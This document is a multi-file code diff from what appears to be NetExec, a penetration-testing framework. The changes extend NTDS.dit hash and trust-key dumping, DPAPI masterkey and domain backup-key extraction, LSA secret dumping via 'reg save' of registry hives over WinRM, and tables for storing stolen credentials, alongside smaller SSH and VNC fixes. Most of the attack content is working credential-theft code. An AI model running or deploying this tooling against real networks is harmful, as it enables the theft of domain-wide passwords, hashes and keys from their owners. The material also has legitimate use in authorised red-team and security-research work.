self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
else:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
ntds_outfile = f"{self.output_filename}.ntds"
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
if self.args.just_trust_keys:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
else:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
except Exception as e:
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
+17 -3
View File
@@ -3,7 +3,7 @@ import threading
import warnings
from datetime import datetime
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
SAWarning
@@ -428,6 +428,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -725,13 +739,13 @@ class database(BaseDB):
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this group ID is valid.
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
-100
View File
@@ -1,100 +0,0 @@
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
def get_domain_backup_key(context):
pvkbytes = None
try:
results = context.db.get_domain_backupkey(context.domain)
except Exception:
context.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
context.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
elif context.no_da is None and context.args.local_auth is False:
try:
dc_target = Target.create(
domain=context.domain,
username=context.username,
password=context.password,
target=context.domain, # querying DNS server for domain will return DC
lmhash=context.lmhash,
nthash=context.nthash,
do_kerberos=context.kerberos,
aesKey=context.aesKey,
no_pass=True,
use_kcache=context.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
context.db.add_domain_backupkey(context.domain, pvkbytes)
else:
context.no_da = False
except Exception as e:
context.logger.fail(f"Could not get domain backupkey: {e}")
return pvkbytes
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
masterkeys = []
plaintexts = {}
nthashes = {}
if context.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(context.args.mkfile)
except Exception as e:
context.logger.fail(str(e))
if user:
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if context.password != "":
plaintexts[context.username.lower()] = context.password
if context.nthash != "":
nthashes[context.username.lower()] = context.nthash
# Collect User and Machine masterkeys
try:
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=dploot_connection,
pvkbytes=context.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
if user:
context.logger.debug("Collecting user masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
if system:
context.logger.debug("Collecting machine masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.logger.debug(f"Could not get masterkeys: {e}")
return masterkeys
def upgrade_to_dploot_connection(target, connection=None):
conn = None
try:
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
conn.connect()
except Exception:
return None
return conn
+2 -2
View File
@@ -27,7 +27,7 @@
from os.path import join as path_join
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
@@ -108,7 +108,7 @@ class MMCEXEC:
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+5 -1
View File
@@ -42,8 +42,12 @@ def proto_args(parser, parents):
kerb_keys_arg.make_required = [ntds_arg]
enabled_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
trust_keys_arg.make_required = [ntds_arg]
just_trust_keys_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
+2 -2
View File
@@ -1,7 +1,7 @@
import ntpath
import os
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.dcomrt import DCOMConnection
@@ -57,7 +57,7 @@ class WMIEXEC:
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+14 -3
View File
@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
SSHException,
)
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
class ssh(connection):
def __init__(self, args, db, host):
@@ -85,13 +87,13 @@ class ssh(connection):
try:
if self.args.key_file or private_key:
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
pkey=private_key,
key_filename=self.args.key_file,
pkey=pkey,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
@@ -125,6 +127,8 @@ class ssh(connection):
except AuthenticationException as e:
if "Private key file is encrypted" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
@@ -132,8 +136,15 @@ class ssh(connection):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
elif "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.exception(e)
except ValueError as e:
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
except TimeoutError:
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
except Exception as e:
self.logger.exception(e)
self.conn.close()
+11
View File
@@ -0,0 +1,11 @@
# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA.
# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing.
KEY_TYPE_REJECTED_SUBSTRINGS = (
"no RSA pubkey algorithms are configured",
"Unable to agree on a pubkey algorithm",
)
def is_key_type_rejected(exc):
"""Return True if exc means the server rejected the key's algorithm."""
return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS)
+4 -3
View File
@@ -7,6 +7,7 @@ import struct
from nxc.config import host_info_colors
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
from aardwolf.commons.target import RDPTarget
@@ -100,7 +101,7 @@ class vnc(connection):
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS)
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
asyncio.run(self.connect_vnc(True))
except asyncio.TimeoutError:
except TimeoutError:
# asyncio.TimeoutError is only an alias of the builtin from 3.11 on,
# and the project supports 3.10, so catch it by its asyncio name.
self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}")
@@ -144,7 +145,7 @@ class vnc(connection):
)
return True
except asyncio.TimeoutError:
except TimeoutError:
# Reporting an unresponsive server as a rejected password would be wrong:
# nothing was authenticated, so say what actually happened.
self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s")
@@ -160,7 +161,7 @@ class vnc(connection):
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
+45 -152
View File
@@ -1,6 +1,6 @@
import os
import base64
import traceback
import binascii
import requests
import urllib3
import logging
@@ -12,19 +12,16 @@ from pypsrp.client import Client
from pypsrp.powershell import PSDataStreams
from termcolor import colored
from dploot.lib.utils import is_guid, is_credfile
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB
from dploot.lib.network.winrm import WINRMTarget as Target
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
from impacket.uuid import bin_to_string
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.logger import highlight
from nxc.helpers.misc import gen_random_string
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.misc import gen_random_string, sanitize_dns
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.logger import NXCAdapter
from nxc.paths import TMP_PATH
urllib3.disable_warnings()
@@ -41,6 +38,10 @@ class winrm(connection):
self.challenge_header = None
self.targetDomain = None
self.no_ntlm = False
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -67,8 +68,11 @@ class winrm(connection):
self.no_ntlm = True
return False
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
@@ -373,7 +377,7 @@ class winrm(connection):
SAM.dump()
SAM.export(output_filename)
def lsa(self):
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
@@ -392,159 +396,48 @@ class winrm(connection):
else:
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
else:
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
perSecretCallback=lsa_secret_callback
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
def dpapi(self):
"""
Find and unlock Credential Manager masterkeys and credentials owned by user.
The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials.
Actual decryption of keys and credentials is taken and adapted from impacket-dpapi.
"""
user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect")
user_credentials_paths = [
ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"),
ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials")
]
self.dpapi_triage.triage_dpapi()
self.logger.display("Collecting DPAPI masterkeys...")
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.host,
port=self.port,
ssl=self.ssl,
lmhash=self.lmhash,
nthash=self.nthash,
)
sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True)
if not sids:
self.logger.fail(f"No masterkeys found for user {self.username}")
return
masterkeys = []
for sid in sids.splitlines():
keys_path = ntpath.join(user_masterkey_path, sid.strip())
keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True)
for key in keys.splitlines():
stripped_key = key.strip()
if is_guid(stripped_key):
key_path = ntpath.join(keys_path, stripped_key)
self.logger.debug(f"Found masterkey file {key_path}")
local_key_file = f"{TMP_PATH}/{stripped_key}"
self.conn.fetch(key_path, local_key_file)
decrypted_key = self.get_master_key(local_key_file, sid, self.password)
if decrypted_key:
masterkeys.append((stripped_key, decrypted_key))
if not masterkeys:
self.logger.fail("Could not decrypt any keys")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
credential_files = []
for user_credentials_path in user_credentials_paths:
creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True)
for cred_file in creds.splitlines():
stripped_cred_file = cred_file.strip()
if is_credfile(stripped_cred_file):
creds_path = ntpath.join(user_credentials_path, stripped_cred_file)
self.logger.debug(f"Found credentials file {creds_path}")
local_cred_file = f"{TMP_PATH}/{stripped_cred_file}"
self.conn.fetch(creds_path, local_cred_file)
credential_files.append(local_cred_file)
if not credential_files:
self.log.fail(f"No credential files found for user {self.username}")
return
for creds_file in credential_files:
with open(creds_file, "rb") as fp:
data = fp.read()
cred = CredentialFile(data)
blob = DPAPI_BLOB(cred["Data"])
guid_masterkey = bin_to_string(blob["GuidMasterKey"])
right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None)
if right_key is not None:
try:
decrypted = blob.decrypt(right_key)
if decrypted is not None:
self.logger.debug(f"Successfully decrypted credentials in {creds_file}:")
creds = CREDENTIAL_BLOB(decrypted)
if creds["Unknown3"] != b"":
target = creds["Target"].decode("utf-16le")
username = creds["Username"].decode("utf-16le")
try:
password = creds["Unknown3"].decode("utf-16le")
except UnicodeDecodeError:
password = creds["Unknown3"].decode("latin-1")
self.logger.highlight(f"{target} - {username}:{password}")
except Exception as e:
self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}")
self.logger.debug(traceback.format_exc())
else:
self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})")
def get_master_key(self, masterkey_file, sid, password):
"""
Taken and adapted from impacket.examples.dpapi
Could be cleaned up but the more we deviate from the original the harder it will be to maintain it
"""
with open(masterkey_file, "rb") as fp:
data = fp.read()
mkf = MasterKeyFile(data)
data = data[len(mkf):]
if mkf["MasterKeyLen"] > 0:
mk = MasterKey(data[:mkf["MasterKeyLen"]])
data = data[len(mk):]
if mkf["BackupKeyLen"] > 0:
bkmk = MasterKey(data[:mkf["BackupKeyLen"]])
data = data[len(bkmk):]
if mkf["CredHistLen"] > 0:
ch = CredHist(data[:mkf["CredHistLen"]])
data = data[len(ch):]
if mkf["DomainKeyLen"] > 0:
dk = DomainKey(data[:mkf["DomainKeyLen"]])
data = data[len(dk):]
key1, key2, key3 = deriveKeysFromUser(sid, password)
# if mkf['flags'] & 4 ? SHA1 : MD4
decryptedKey = mk.decrypt(key3)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (MD4 protected)")
return decryptedKey
decryptedKey = mk.decrypt(key2)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (MD4)")
return decryptedKey
decryptedKey = mk.decrypt(key1)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (SHA1)")
return decryptedKey
decryptedKey = bkmk.decrypt(key3)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (MD4 protected)")
return decryptedKey
decryptedKey = bkmk.decrypt(key2)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (MD4)")
return decryptedKey
decryptedKey = bkmk.decrypt(key1)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (SHA1)")
return decryptedKey
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
+157 -1
View File
@@ -1,4 +1,6 @@
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import declarative_base
@@ -14,6 +16,8 @@ class database(BaseDB):
self.UsersTable = None
self.AdminRelationsTable = None
self.LoggedinRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -69,6 +73,32 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -78,6 +108,8 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, port, hostname, domain, os=None):
"""
@@ -274,6 +306,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -380,3 +426,113 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+3 -1
View File
@@ -17,7 +17,9 @@ def proto_args(parser, parents):
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
+369 -32
View File
@@ -1,20 +1,35 @@
import os
import re
import struct
import binascii
from Cryptodome.Hash import MD4
from io import StringIO
import base64
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.helpers.misc import sanitize_dns
from nxc.config import process_secret
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
from nxc.connection import connection, requires_admin
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import validate_ntlm
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.wmi import wmiexec, wmiexec_event
from nxc.protocols.wmi.remoteops import RemoteOperations
from nxc.helpers.dpapi import DPAPITriage
from dploot.lib.network.wmi import WMITarget as Target
from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
from impacket.krb5.ccache import CCache
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices
